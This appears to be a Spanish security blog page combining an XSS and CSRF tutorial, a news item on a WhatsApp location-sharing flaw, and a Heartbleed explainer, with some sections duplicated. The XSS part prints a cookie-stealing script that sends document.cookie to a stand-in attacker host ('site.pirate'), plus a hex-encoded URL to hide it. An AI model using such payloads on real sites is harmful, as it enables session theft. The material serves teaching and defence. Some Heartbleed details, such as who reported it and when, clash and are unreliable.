Ataques de secuencia de comandos entre páginas Web por (XSS)

continuamos con el articulo del pasado jueves, dando mas informacion sobre una de las vulnerabilidades mas usadas, esperemos que te gusten y en las proximas entregas las desarrollaremos mas

Inyección de código malintencionado
Los ataques por secuencias de comandos entre páginas Web (también conocidos como XSS o CSS) son ataques dirigidos a los páginas Web que muestran de forma dinámica el contenido de los usuarios sin verificar ni codificar la información ingresada por ellos. Este tipo de ataque obliga a la página Web a mostrar el código HTML o los comandos ingresados por los usuarios. Por lo tanto, el código incluido (por lo general se usa el término "inyectado") en una página Web vulnerable se considera "malintencionado".

Es común que las páginas Web muestren mensajes informativos directamente mediante el uso de un parámetro introducido por el usuario. El ejemplo más clásico es el de las "páginas de error 404". Algunas páginas Web modifican el comportamiento de la página Web de modo que pueda mostrar un mensaje de error personalizado cuando la página solicitada por el visitante no existe. En ciertas ocasiones, la página generada dinámicamente muestra el nombre de aquella que se solicita. A una página Web con dicho error la llamaremos http://miwebes.vulnerable. La solicitud de la dirección URL del página Web http://miwebes.vulnerable/paginainexistente correspondiente a una página que no existe genera un mensaje de error que indica que la "página inexistente" no existe. En consecuencia, es posible mostrar cualquier contenido desde el página Web remplazando "página inexistente" por cualquier otra cadena.

De esta forma, si el contenido suministrado por el usuario no se verifica, es posible mostrar un código HTML arbitrario en una página Web para cambiar su apariencia, contenido o comportamiento.

Asimismo, la mayoría de los navegadores tienen la capacidad de interpretar las secuencias de comandos de las páginas Web, incluso en otros lenguajes, como JavaScript, VBScript, Java, ActiveX o Flash. Las siguientes etiquetas HTML permiten incorporar secuencias de comandos ejecutables en una página Web: <SCRIPT>, <OBJECT>, <APPLET> y <EMBED>.

Por lo tanto, un pirata informático puede inyectar un código arbitrario en la página para que se ejecute en el equipo del usuario cuando intenta garantizar la seguridad de la página Web vulnerable. Para ello, sólo debe remplazar el valor del texto que se mostrará con una secuencia de comandos de modo que aparezca en la página Web. Siempre y cuando el navegador del usuario esté configurado para ejecutar dichas secuencias de comandos, el código malintencionado tendrá acceso a todos los datos compartidos por la página Web y el servidor del usuario (cookies, campos de entrada, etc.).

Consecuencias

Gracias a las vulnerabilidades de las secuencias de comandos entre páginas Web, un pirata informático puede usar este método para recuperar datos intercambiados entre el usuario y el página Web al que ingresa. Por ejemplo, el código inyectado en la página se puede usar para engañar al usuario y hacer que ingrese información de autenticación.

Además, la secuencia de comandos inyectada puede redireccionar al usuario a una página Web controlada por el pirata informático, probablemente con la misma interfaz gráfica que la página Web comprometida para engañar al usuario.

En este contexto, la relación de confianza que existía entre el usuario y el página Web se ve afectada por completo.

Persistencia del ataque

Cuando los datos ingresados por el usuario se almacenan en el servidor durante cierto período de tiempo (como en el caso de un foro de discusión, por ejemplo), el ataque se llama "persistente". Todos los usuarios de la página Web tienen acceso a la página donde se ha inyectado el código.

Los ataques denominados "no persistentes" se dirigen a páginas Web dinámicas en las que una variable ingresada por el usuario se muestra como tal (por ejemplo, cuando aparece el nombre de usuario de la página actual o de la palabra ingresada en un campo de entrada). Para aprovechar esta vulnerabilidad, el atacante debe proporcionar a la víctima una dirección URL modificada, transfiriendo el código que se debe ingresar como un parámetro. Sin embargo, debido a que una dirección URL contiene código Javascript y algunos elementos pueden resultarle sospechosos a la víctima, este ataque generalmente se realiza codificando los datos de la dirección URL para que el código inyectado permanezca oculto.

Veamos un Ejemplo

Supongamos que la página de inicio de miwebes.net es vulnerable a un ataque por secuencia de comandos entre páginas Web ya que en ella puede aparecer un mensaje de bienvenida con el nombre del usuario como un parámetro:

http://miwebes/?nom=Joselito
Una persona malintencionada podría llevar a cabo un ataque XSS al proporcionar a la víctima una dirección que remplace el nombre "Joselito" con un código HTML. En especial, podría transferir el siguiente código Javascript como un parámetro para redireccionar al usuario a una página controlada por el pirata:

<SCRIPT> document.location='http://site.pirate/cgi-bin/script.cgi?'+document.cookie </SCRIPT>
El código anterior recupera las cookies del usuario y las envía como parámetros a una secuencia de comandos CGI. El siguiente código transferido como un parámetro sería demasiado obvio:

http://miwebes/?nom=<SCRIPT>document.location ='http://site.pirate/cgi-bin/script.cgi?'+document.cookie</SCRIPT>
No obstante, la codificación de la dirección URL permite ocultar el ataque:

http://miwebes/?nom=%3c%53%43%52%49%50%54%3e%64%6f%63%75%6d%65% 6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%5c%27%68%74%74%70%3a%2f%2f%73%69%74% 65%2e%70%69%72%61%74%65%2f%63%67%69%2d%62%69%6e%2f%73%63%72%69%70%74%2e% 63%67%69%3f%5c%27%20%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f% 53%43%52%49%50%54%3e


Como seria un Ataque entre páginas Web

En el ejemplo anterior, toda la secuencia de comandos se transfirió como un parámetro URL. El método GET, que permite transferir los parámetros a la dirección URL, se limita a una longitud total de 255 caracteres. Gracias al atributo SRC de la etiqueta <SCRIPT>, es posible ejecutar un código malintencionado almacenado en una secuencia de comandos en un servidor remoto. Como es posible inyectar un código desde una fuente remota, este tipo de ataque se realiza "entre páginas Web".

Como Protegernos

Los usuarios pueden protegerse contra los ataques XSS al configurar sus navegadores para impedir que se ejecuten lenguajes de secuencias de comando. En realidad, esto no brinda una solución óptima para el usuario ya que muchas páginas Web no funcionan adecuadamente cuando se prohíbe la ejecución de un código dinámico.

La única solución viable para impedir los ataques por secuencias de comandos entre páginas Web consiste en diseñar páginas Web sin vulnerabilidades.

Para conseguir esto, el diseñador debe:

verificar el formato de los datos ingresados por los usuarios

codificar los datos visibles del usuario remplazando los caracteres especiales con sus equivalentes en HTML

El término "sanitización"(sanitation en inglés) hace referencia a todas las acciones que contribuyen a proteger los datos ingresados.
  en la proxima entrega, mostraremos los distintos codigos especiales en los distintos formatod (HTML, Hexadecimal, etc...)

te espero en unos dias

Ataques de secuencia de comandos entre páginas Web por (XSS)

continuamos con el articulo del pasado jueves, dando mas informacion sobre una de las vulnerabilidades mas usadas, esperemos que te gusten y en las proximas entregas las desarrollaremos mas

Inyección de código malintencionado
Los ataques por secuencias de comandos entre páginas Web (también conocidos como XSS o CSS) son ataques dirigidos a los páginas Web que muestran de forma dinámica el contenido de los usuarios sin verificar ni codificar la información ingresada por ellos. Este tipo de ataque obliga a la página Web a mostrar el código HTML o los comandos ingresados por los usuarios. Por lo tanto, el código incluido (por lo general se usa el término "inyectado") en una página Web vulnerable se considera "malintencionado".

¿Que es y como se ejecuta un ataque XSS?

Definición Tipos de ataques Consideraciones PDF XSS XSRF 

Definición: XSS es un ataque de inyección de código malicioso para su posterior ejecución que puede realizarse a sitios web, aplicaciones locales e incluso al propio navegador. Sucede cuando un usuario mal intencionado envía código malicioso a la aplicación web y se coloca en forma de un hipervínculo para conducir al usuario a otro sitio web, mensajería instantánea o un correo electrónico. Así mismo, puede provocar una negación de servicio

Operación de un ataque XSS Generalmente, si el código malicioso se encuentra en forma de hipervínculo es codificado en HEX (basado en el sistema de numeración hexadecimal, base 16) o algún otro, así cuando el usuario lo vea, no le parecerá sospechoso. De esta manera, los datos ingresados por el usuario son enviados a otro sitio, cuya pantalla es muy similar al sitio web original. De esta manera, es posible secuestrar una sesión, robar cookies y cambiar la configuración de una cuenta de usuario. 

Tipos de Ataques: Las diversas variantes de esta vulnerabilidad pueden dividirse en dos grandes grupos: el primero se conoce como XSS persistente o directo y el segundo como XSS reflejado o indirecto. 

Directo o persistente. Consiste en invadir código HTML mediante la inclusión de etiquetas <script> y <frame> en sitios que lo permiten.

Local. Es una de las variantes del XSS directo, uno de sus objetivos consiste en explotar las vulnerabilidades del mismo código fuente o página web. Esas vulnerabilidades son resultado del uso indebido del DOM (Modelo de Objetos del Documento, es un conjunto estandarizado de objetos para representar páginas web) con JavaScript, lo cual permite abrir otra página web con código malicioso JavaScript incrustado, afectando el código de la primera página en el sistema local. Cuando el XSS es local, ningún código malicioso es enviado al servidor. El funcionamiento toma lugar completamente en la máquina del cliente, pero modifica la página proporcionada por el sitio web antes de que sea interpretada por el navegador para que se comporte como si se realizara la carga maliciosa en el cliente desde el servidor. Esto significa que la protección del lado del servidor que filtra el código malicioso no funciona en este tipo de vulnerabilidad.

Indirecto o reflejado. Funciona modificando valores que la aplicación web pasa de una página a otra, sin emplear sesiones. Sucede cuando se envía un mensaje o ruta en una URL, una cookie o en la cabecera HTTP (pudiendo extenderse al DOM del navegador).

Consideraciones a tener en cuenta

Si eres un desarrollador

La aplicación web que se desee implementar debe contar con un buen diseño. Posteriormente, se deben realizar diversos tipos de pruebas antes de su liberación, para detectar posibles fallos y  huecos de seguridad, mediante el empleo de alguna herramienta automatizada. También, es conveniente proporcionar mantenimiento a la aplicación y estar actualizado en las versiones de las herramientas que se emplean para su puesta en marcha.

Algunas recomendaciones para mitigar el problema, son:

Emplear librerías verificadas o algún framework que ayude a disminuir el inconveniente. Por ejemplo: la librería anti-XSS de Microsoft, el módulo ESAPI de codificación de OWASP, Apache Wicket, entre otros.

Entender el contexto en el cual los datos serán usados y la codificación de los mismos, este aspecto es importante cuando se envían datos de un componente a otro de la aplicación o cuando se deben enviar a otra aplicación.

Conocer todas las áreas potenciales donde las entradas no verificadas pueden acceder al software: parámetros o argumentos, cookies, información de la red, variables de entorno, resultados de consultas, búsqueda de DNS reversible, peticiones enviadas en las cabeceras, componentes de la URL, correos electrónicos, archivos, nombres de archivo, bases de datos o algún sistema externo que proporcione información a la aplicación.

Las validaciones de datos de entrada, deben realizarse siempre del lado del servidor, no sólo en el lado del cliente. Los atacantes pueden evitar la validación realizada del lado del cliente modificando valores antes de realizar verificaciones o remover por completo esta validación.

En caso de ser posible, emplear mecanismos automatizados para separar cuidadosamente los datos del código fuente: revisión de comillas, codificación y validación automática que muchas veces se escapan al desarrollador.

Por cada página web generada, se recomienda emplear una codificación determinada de caracteres, ya que si no se especifica, el navegador puede dar un trato diferente a ciertas secuencias de caracteres especiales, permitiendo la apertura del cliente a posibles ataques.

Para mitigar el problema de ataque contra el uso de cookies, es conveniente indicar que tiene el formato de HttpOnly. En los navegadores que lo soportan, puede prevenirse que la cookie sea usada por scripts maliciosos desde el lado del cliente.

Se debe emplear una estrategia de validación de las entradas: rechazar aquellas que no cumplan con lo especificado, limpiar las que sean necesarias. Al validar, considérense  las características de cada entrada: longitud, tipo de dato, rango de valores aceptados, entradas perdidas o adicionales, sintaxis, consistencia con otras entradas proporcionadas y seguimiento de las reglas del negocio.

Cuando se construyan páginas web de forma dinámica (generadas de acuerdo a las entradas o solicitudes de los usuarios), es recomendable usar listas blancas estrictas. Todas las entradas deben ser limpiadas y validadas, incluidos cookies, campos ocultos, cabeceras y la propia dirección.

Cuando una cantidad aceptable de objetos, como nombres de archivo o URL es limitada o conocida, es conveniente crear una conjunto de asignaciones de valores de entrada fijo a los nombres de archivo o URL y rechazar todos los demás.

Se recomienda usar un firewall de aplicaciones capaz de detectar ataques cuando el código se genere dinámicamente, como medida de prevención, debe complementarse con otras para proporcionar defensa en profundidad.

Como Administrador de Bases de Datos

Así como el desarrollador debe validar las entradas proporcionadas por parte del usuario, el encargado de diseñar e implementar la base de datos debe considerar la seguridad de la misma, pues en ella se guarda la información proporcionada por los usuarios y es manipulada mediante la aplicación web. Los datos que serán almacenados, también pueden ser validados mediante el uso de constraints  (restricciones aplicables a los objetos de una base de datos: unique, default, not null, check) que restringen la entrada para cada campo.

PDF XSS

Es una vulnerabilidad ampliamente usada para afectar el Acrobat Reader de Adobe. En este caso, si se abusa de las características para abrir archivos en Acrobat, un sitio bien protegido se vuelve vulnerable a un ataque de tipo XSS si da alojamiento a documentos en formato PDF.

Esto afecta seriamente, a menos que se actualice el Reader o se cambie la forma en que el navegador maneja dichos documentos.

Una manera de combatirlo, si se cuenta con el servidor de aplicaciones web Apache, es llevar a cabo la correcta configuración de ModSecurity, ya que cuenta con directivas de protección para archivos en formato PDF.

 XSRF

Un ataque Cross-Site Request Forgery (XSRF ó también CSRF) explota la confianza que un usuario tiene hacia las entradas proporcionadas por un sitio.

Por ejemplo: un usuario se encuentra autenticado y navegando en un sitio, en ese momento un atacante obtiene el control de su navegador, con él realiza una solicitud a una tarea de una URL válida del sitio, por lo que el atacante tendrá acceso como si fuera el usuario previamente registrado.

Distintivamente, un atacante intercalará código HTML o JavaScript malicioso en un correo o en una tarea específica accesible desde una URL, que se ejecuta ya sea directamente o empleando un error de tipo XSS. También, es posible realizar inyección a través de lenguajes como el BBCode. Este tipo de ataques son difíciles de detectar.

Muchas de las funcionalidades de un sitio web son susceptibles de uso durante un ataque XSRF. Esto incluye información enviada tanto por GET como por POST.

También puede usarse como vector para explotar vulnerabilidades de tipo XSS en una aplicación. Ejemplos de ello son: una vulnerabilidad de tipo XSS en un foro donde un atacante puede obligar al usuario a publicar –sin que éste se dé cuenta- un gusano informático. Un atacante puede también usar XSRF para transmitir un ataque a algún sitio de su elección, así como realizar un DDos.

Sin embargo, las formas más comunes de realizar este tipo de ataque consisten en usar la etiqueta HTML o el objeto JavaScript empleados para imágenes. Distintivamente, el atacante infiltrará un email o sitio web en ellos, así cuando el usuario cargue la página o el correo electrónico, también estará realizando la petición a la URL que haya colocado el atacante.

Un atacante puede instalar su script dentro de un documento de Word, un archivo de flash, un clip de video, redifusión web RSS o Atom, o algún otro tipo de formato que pueda alojar el script.

Si un sitio web permite ejecutar sus funciones empleando una URL estática o peticiones POST, es posible que sea vulnerable, si la función se lleva a cabo mediante la petición GET, el riesgo es mayor. Si se realizan las mismas funciones,  de la misma forma repetidamente, entonces la aplicación puede ser vulnerable.

Un ataque XSRF no puede evitarse mediante la verificación del referer de las cabeceras de la petición realizada, ya que puede “limpiarse” o modificarse mediante algún tipo de filtro. Las cabeceras pueden falsearse usando XMLHTTP, por ejemplo.

Una de las soluciones más conocidas, consiste en adjuntar un token no predecible y cambiante a cada petición. Es importante que el estado de éste vaya asociado con la sesión del usuario, de otra manera un atacante puede adjuntar su propio token válido y emplearlo en su beneficio. Adicionalmente, al ligarlo a la sesión del usuario es importante limitar el periodo durante el cual será válido.

¿Que es y como se ejecuta un ataque XSS?

Definición Tipos de ataques Consideraciones PDF XSS XSRF 

Definición: XSS es un ataque de inyección de código malicioso para su posterior ejecución que puede realizarse a sitios web, aplicaciones locales e incluso al propio navegador. Sucede cuando un usuario mal intencionado envía código malicioso a la aplicación web y se coloca en forma de un hipervínculo para conducir al usuario a otro sitio web, mensajería instantánea o un correo electrónico. Así mismo, puede provocar una negación de servicio

Whatsapp y el error que permite que te rastreen

Los servicios de inteligencia y los hackers,  podría explotar un nuevo fallo de seguridad de Whatsapp para rastrear a los usuarios

que no lo decimos solo nosotros, que cualquiera que esta en el mundo de la seguridad lo puede ratificar, pero aun asi, la gente cree que es solo que le tenemos mania, en fin a ver si esta noticia, y lo mejor este video que acompaña a este articulo, puede hacer que nos creais de una vez




Hace unas semanas, Un grupo de investigadores descubrió una vulnerabilidad en WhatsApp, (otra mas) esta vez en la característica "Compartir ubicación", que expone la ubicación del usuario a los atacantes.

Las cuestiones de seguridad relacionadas con WhatsApp  no son una novedad, Ya que esta  aplicación es foco de todos los "hackers", expertos y curiosos de la seguridad  que buscan vulnerabilidades que puedan explotar.
Al principio del 2014,  expertos de la empresa de seguridad Pretorian, han estado llevando a cabo el Proyecto Neptuno, cuyo objetivo principal es  evaluar la seguridad para el diseño y mantenimiento de las aplicaciones móviles, incluyendo WhatsApp.

Los investigadores descubrieron diferentes problemas de seguridad en la forma en que WhatApp implementa SSL, tal y como ya contamos en otro articulo, pero su mayor fallo de whatsapp  es de la  " colocación de llavero del certificado ", que expone a los usuarios al riesgo de ataques man-in-the-middle , Aunque parece que por fin la compañia ha reaccionado y a corregido, en parte el error.

Aun así, Un último bug descubierto en WhatsApp expone la ubicación del usuario a los atacantes, en particular bajo análisis, no solo es de WhatsApp, es de una de sus  características,  "Compartir ubicación".

Segun el comunicado de  los investigadores de la Universidad de New Hampshire, el equipo de  forenses cibernéticos de Investigación y Educación, para ser exactos, la función de compartir la ubicación implementado por WhatsApp podría exponer a la ubicación del usuario a los atacantes y los organismos de inteligencia.

Tal y como nos muestran nuestros compañeros de Thehackersnews, los usuarios tienen que ubicar en primer lugar a sí mismos en Google Map en la ventana de la aplicación.

Una vez que el usuario ha seleccionado la posición , WhatsApp recupera y toma una imagen desde el servicio Google Map, la miniatura se comparte como el icono de mensaje. En esta fase de la ubicación del usuario se expone porque WhatsApp descarga la imagen a través de un canal no cifrado de Google que permite a un atacante para capturar con un simple ataque  Man-in-the-middle.

Aqui te dejo el video que lo demuestra, a ver si asi lo creeis:

 en youtube esta en : https://www.youtube.com/watch?v=3L8uh0WQ3MU





" No fuimos capaces de interceptar la imagen hasta que el mensaje fue enviado desde el teléfono, lo que indica que la descarga de la imagen no se produjo hasta que el mensaje fue enviado realmente. ", dijeron los investigadores.

Para llevar a cabo el ataque MITM, la victima debe estar en la misma red, esto significa que el atacante debe estar cerca de su víctima, probablemente ya conociendo su ubicación ... pero si un atacante es capaz de llevar a cabo un ataque MITM a gran escala, el escenario cambia.

" tal dependencia de corto alcance hace que esta vulnerabilidad de muy bajo nivel de gravedad para los atacantes normales, pero las agencias de espionaje como la NSA o GCHQ , los que son capaces de realizar ataques MITM a gran escala, podría aprovecharse de este problema para rastrear a los usuarios 'en cualquier punto del mundo ".



Los investigadores han informado sin demora de la vulnerabilidad a WhatsApp, que ha fijado en la última versión beta disponible en la empresa en la web oficial , luego la solución se implementará también para el lanzamiento oficial.

A la espera de la revisión, se sugiere para evitar compartir la ubicación utilizando WhatsApp cuando se conecta a una red no fiable .


FUENTE: http://thehackernews.com/2014/04/whatsapp-flaw-leaves-user-location.html

Whatsapp y el error que permite que te rastreen

Los servicios de inteligencia y los hackers,  podría explotar un nuevo fallo de seguridad de Whatsapp para rastrear a los usuarios

que no lo decimos solo nosotros, que cualquiera que esta en el mundo de la seguridad lo puede ratificar, pero aun asi, la gente cree que es solo que le tenemos mania, en fin a ver si esta noticia, y lo mejor este video que acompaña a este articulo, puede hacer que nos creais de una vez

ALERTA ¿Qué es el Bug OpenSSL Heartbleed y por qué es tan importante?

¿Qué es el Bug OpenSSL Heartbleed y por qué es tan importante?



Si tu eres un usuario basico  de Internet, lo normal es que solo uses  Internet para  trabajar .

 Y desde luego nunca te has preocupado de los que hay detras, de lo que sucede detrás de lapantalla de tu equipo, ni de como funciona esta transmision de datos, toda la encriptación, todos los negocios, y que cada pequeña transacción debe ser capaz de ofrecerle una manera segura de comunicarse y hacer su negocio en línea sin tener que preocuparse de la presencia de hackers merodeando en cada movimiento. 

Por desgracia internet es mucho mas  complicado y peligroso  Y el BUG OpenSSL "Heartbleed" es la prueba definitiva de ello. 

Hay algunas cosas que debes  debe saber acerca de este grabisimo error, ya que, con toda probabilidad, te afecte mucho mas de lo que piensas más de lo que piensas.

Lo 1º que deberiamos saber es:

¿Qué es OpenSSL?!

Todos lo conocemos pero ¿que es realmente OpenSSL?  todos abreis visto en algun momento el icono de candado pequeño al lado de la " https:// "en su navegador cuando entras sitios" seguros "

Cuando ves eso, quiere decir que está utilizando una forma especial de cifrado conocido como Secure Socket Layer (SSL) o Seguridad de la capa de transporte (TLS). Para proporcionar servicios con esta encriptación, necesita un algoritmo que proporcione el cifrado / descifrado para los paquetes que intercambie con el servidor. 

¿Hasta ahora claro? venga mas simple aun, Esto significa que tienen que tener una manera de traducir el texto en un galimatías ilegible y luego traducirlo de vuelta de que en la forma legible en su propio fin. 

Utilizando esta tecnología, si un hacker de alguna manera se las arregla para interferir con su conexión con el servidor, lo único que va a leer es una larga cadena de caracteres sin sentido.

Ahora llegamos a la parte  donde (por fin),  se explica qué es OpenSSL:

Es una aplicación gratuita y de código abierto de los protocolos SSL / TLS. Con esta tecnología, cualquier persona puede ofrecer servicios cifrados. Muchas empresas que tienen cuentas de correo y webs pueden usar OpenSSL para cifrar los datos.

¿Entonces si OpenSSL tiene un error que vence por completo el propósito de cifrado, cual es el motivo ?

El Bug, Historia y Explicación

El 10 de abril de 2014, la gente de PerfectCloud, una empresa de seguridad de identidad, han informado en un enorme agujero en la codificación de OpenSSL conocido como el BUG "Heartbleed". Durante dos años, no se ha actualizado, vamos que no hemos visto una nueva versión de OpenSSL, y durante ese tiempo Han tenido un problema en su código que expuso una fracción de la memoria de memoria de los servidores.
En esa fracción de memoria podría contener las claves privadas que se utilizan para cifrar / descifrar datos. (a que no te lo crees, pues es cierto y ya fue avisado hace mas de un año por varios programadores, sobre su existencia)

¿Y esto que significa? pues que un hacker podría descubrir las claves de cifrado del servidor y simplemente descifrar todo lo que envíe a la misma, incluyendo su nombre de usuario, la contraseña, y todo lo que es importante y querido para el usuario, y que al estar con protocolo ssl, estaba confiado al 100% de su seguridad.

El error se corrigió el 7 de abril de 2014, pero eso no significa que todo el mundo lo actualize inmediatamente con una actualización de sus implementaciones de OpenSSL.
 Las principales empresas de Internet como Amazon,  Yahoo y google, se han encargado de la cuestión, pero eso no significa que este todo claro claro! ya que Un hacker podría tener su nombre de usuario y contraseña en una lista, en estos momentos,  listo para ser usada para tratar de acceder a cualquier otra cuenta que usted pueda tener en otros lugares.

     
¿Qué deberia hacer?

Incluso si una compañía actualiza a la última versión de OpenSSL, aun sigues enriesgo, debido a las  anteriores exposiciones.
Sin embargo, si hay cualquier intento de hacking más, no van a tener éxito.
Lo que debes hacer en esta situación es cambiar su contraseña en todas partes. No esperes a que te avisen, hazlo ya.
 Sólo tienes que cambiar todo para evitar que algun listado este con tus datos y asi evitar que algun  hacker decida probar sus cuentas.


Este error demuestra lo  delicado y la gran interconexión de los datos que  es Internet. A pesar de que el concienciamiento de la seguridad en auge, internet es internet y la gente sigue siendo muy inocente